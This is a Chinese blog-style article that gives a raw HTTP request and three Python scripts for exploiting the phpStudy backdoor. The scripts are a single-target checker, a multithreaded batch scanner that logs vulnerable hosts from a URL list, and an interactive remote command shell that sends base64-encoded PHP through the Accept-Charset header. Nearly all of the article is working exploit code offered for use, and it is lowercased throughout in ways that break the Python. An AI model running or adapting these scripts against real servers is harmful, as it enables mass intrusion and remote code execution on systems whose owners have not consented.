欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

phpstudy后门rce批量利用脚本的实现

程序员文章站 2023-11-30 10:17:40
写两个一个批量检测的 一个交互式shell的 暂时py 图形化的qt写出来..有点问题 后门包 : get / http/1.1 host: 127.0.0.1 user...

写两个一个批量检测的 一个交互式shell的

暂时py 图形化的qt写出来..有点问题

后门包 :

get / http/1.1
host: 127.0.0.1
user-agent: mozilla/5.0 (windows nt 10.0; win64; x64; rv:55.0) gecko/20100101 firefox/55.0
accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
accept-language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
connection: close
accept-charset: zwnobybzexn0zw0oim5ldcb1c2vyiik7
accept-encoding: gzip,deflate
upgrade-insecure-requests: 1

phpstudy后门rce批量利用脚本的实现

phpstudy后门rce批量利用脚本的实现

执行那段写shell即可

phpstudy后门rce批量利用脚本的实现

晚上抽点空简单写个发包的py:

phpstudy后门rce批量利用脚本的实现

#!/usr/bin/env python3
#-*- encoding:utf-8 -*-
# 卿 博客:https://www.cnblogs.com/-qing-/

import base64
import requests
import threading
import queue


print("======phpstudy backdoor exploit============\n")
print("===========by qing=================\n")
print("=====blog:https://www.cnblogs.com/-qing-/==\n")
payload = "echo \"qing\";"
payload = base64.b64encode(payload.encode('utf-8'))
payload = str(payload, 'utf-8')
headers = {
  'upgrade-insecure-requests': '1',
  'user-agent': 'mozilla/5.0 (windows nt 6.1; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/75.0.3770.100 safari/537.36',
  'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
  'accept-language': 'zh-cn,zh;q=0.9',
  'accept-charset': payload,
  'accept-encoding': 'gzip,deflate',
  'connection': 'close',
}



def write_shell(url,headers):
  try:
    r = requests.get(url=url+'/index.php', headers=headers, verify=false,timeout=30)
    if "qing" in r.text:
      print ('[ + ] backdoor successful: '+url+'===============[ + ]\n')
      with open('success.txt','a') as f:
          f.write(url+'\n')
    else:
      print ('[ - ] backdoor failed: '+url+'[ - ]\n')
  except:
    print ('[ - ] timeout: '+url+' [ - ]\n')

url = "http://xxx"
write_shell(url=url,headers=headers)

界面优化、改下多线程、批量读取文本文件后的代码:

#!/usr/bin/env python3
#-*- encoding:utf-8 -*-
# 卿 博客:https://www.cnblogs.com/-qing-/

import base64
import requests
import threading
import threadpool


print("======phpstudy backdoor exploit============\n")
print("===========by qing=================\n")
print("=====blog:https://www.cnblogs.com/-qing-/==\n")




def write_shell(url):
  payload = "echo \"qing\";"
  payload = base64.b64encode(payload.encode('utf-8'))
  payload = str(payload, 'utf-8')
  headers = {
  'upgrade-insecure-requests': '1',
  'user-agent': 'mozilla/5.0 (windows nt 6.1; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/75.0.3770.100 safari/537.36',
  'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
  'accept-language': 'zh-cn,zh;q=0.9',
  'accept-charset': payload,
  'accept-encoding': 'gzip,deflate',
  'connection': 'close',
}
  try:
    r = requests.get(url=url+'/index.php', headers=headers, verify=false,timeout=30)
    if "qing" in r.text:
      print ('[ + ] backdoor successful: '+url+'===============[ + ]\n')
      with open('success.txt','a') as f:
          f.write(url+'\n')
    else:
      print ('[ - ] backdoor failed: '+url+'[ - ]\n')
  except:
    print ('[ - ] timeout: '+url+' [ - ]\n')

# url = "http://xxx"
# write_shell(url=url,headers=headers)

def main():
  with open('url.txt','r') as f:
    lines = f.read().splitlines()
    task_pool=threadpool.threadpool(5)
    requests=threadpool.makerequests(write_shell,lines)
  for req in requests:
    task_pool.putrequest(req)
    task_pool.wait() 
if __name__ == '__main__':
  main()


#线程队列部分
# th=[]
# th_num=10
# for x in range(th_num):
#     t=threading.thread(target=write_shell)
#     th.append(t)
# for x in range(th_num):
#     th[x].start()
# for x in range(th_num):
#     th[x].join()

phpstudy后门rce批量利用脚本的实现

你也可以加上读取php文件的字典 这个简单没啥说的

下一个是交互式shell

#!/usr/bin/env python3
#-*- encoding:utf-8 -*-
# 卿 博客:https://www.cnblogs.com/-qing-/

import base64
import requests
import threading
import threadpool
import re

print("======phpstudy backdoor exploit---os-shell============\n")
print("===========by qing=================\n")
print("=====blog:https://www.cnblogs.com/-qing-/==\n")



def os_shell(url,headers,payload):
  try:
    r = requests.get(url=url+'/phpinfo.php',headers=headers,verify=false,timeout=10)
    # print(r.text)
    res = re.findall("qing(.*?)qing",r.text,re.s)
    print("[ + ]===========the response:==========[ + ]\n")
    res = "".join(res)
    print(res)
  except:
    print("[ - ]===========failed! timeout...==========[ - ]\n")

def main():
  url = input("input the url , example:\"http://127.0.0.1/\"\n")
  payload = input("input the payload , default:echo system(\"whoami\");\n")
  de_payload = "echo \"qing\";system(\"whoami\");echo \"qing\";"
  if payload.strip() == '':
    payload = de_payload
  payload = "echo \"qing\";"+payload+"echo \"qing\";"
  payload = base64.b64encode(payload.encode('utf-8'))
  payload = str(payload, 'utf-8')
  headers = {
  'upgrade-insecure-requests': '1',
  'user-agent': 'mozilla/5.0 (windows nt 6.1; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/75.0.3770.100 safari/537.36',
  'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
  'accept-language': 'zh-cn,zh;q=0.9',
  'accept-charset': payload,
  'accept-encoding': 'gzip,deflate',
  'connection': 'close',
  }
  os_shell(url=url,headers=headers,payload=payload)
if __name__ == '__main__':
  main()

phpstudy后门rce批量利用脚本的实现

 以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持。